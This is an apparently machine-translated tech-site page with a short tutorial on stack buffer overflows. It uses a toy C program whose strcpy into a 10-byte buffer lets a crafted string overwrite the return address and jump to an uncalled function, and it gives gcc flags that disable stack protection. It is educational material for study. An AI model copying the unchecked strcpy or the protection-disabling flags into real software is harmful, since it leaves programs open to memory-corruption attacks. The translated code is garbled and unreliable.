In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-10-18 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >
Share
Shulou(Shulou.com)06/01 Report--
# include#includevoid fun (char * name) {char buf [10]; strcpy (buf,name); printf ("% s\ n", buf);} void hack () {printf ("flag\ n");} int main () {char name [] = "Alex@bbb"; fun (name); return 0;}
The above program is a normal C language program, but the hack () function is not called in the main function. I will demonstrate how to use the buffer overflow to execute the contents of the hack function.
After compiling and executing the above program using codeblocks, drag into od to check the changes in the stack and see what value is assigned to the variable name, which happens to overwrite the function return address at call fun.
F7 follow up F8 sentence by sentence:
So we add poc:
# include#includevoid fun (char * name) {char buf [10]; strcpy (buf,name); printf ("% s\ n", buf);} void hack () {printf ("flag\ n");} int main () {char name [] = "Alex@bbbaaaaaaaaaaaaaa\ x59\ x13\ x40\ 00"; / / the last four here are hack () function addresses fun (name); return 0;}
After recompiling and executing, we found that the utilization was successful:
When using ubuntu to reproduce stack overflow, you need to turn off the stack protection mechanism:
Use gcc to disable the protection mechanism at compile time, and the parameter-fno-stack-protector is used to turn off the gcc compiler gs CAPTCHA mechanism.
-z execstack is used to turn off the ld linker stack segment non-executable mechanism.
There is a 64-bit stack overflow process under linux.
Https://www.secpulse.com/archives/32328.html
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
The market share of Chrome browser on the desktop has exceeded 70%, and users are complaining about
The world's first 2nm mobile chip: Samsung Exynos 2600 is ready for mass production.According to a r
A US federal judge has ruled that Google can keep its Chrome browser, but it will be prohibited from
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
About us Contact us Product review car news thenatureplanet
More Form oMedia: AutoTimes. Bestcoffee. SL News. Jarebook. Coffee Hunters. Sundaily. Modezone. NNB. Coffee. Game News. FrontStreet. GGAMEN
© 2024 shulou.com SLNews company. All rights reserved.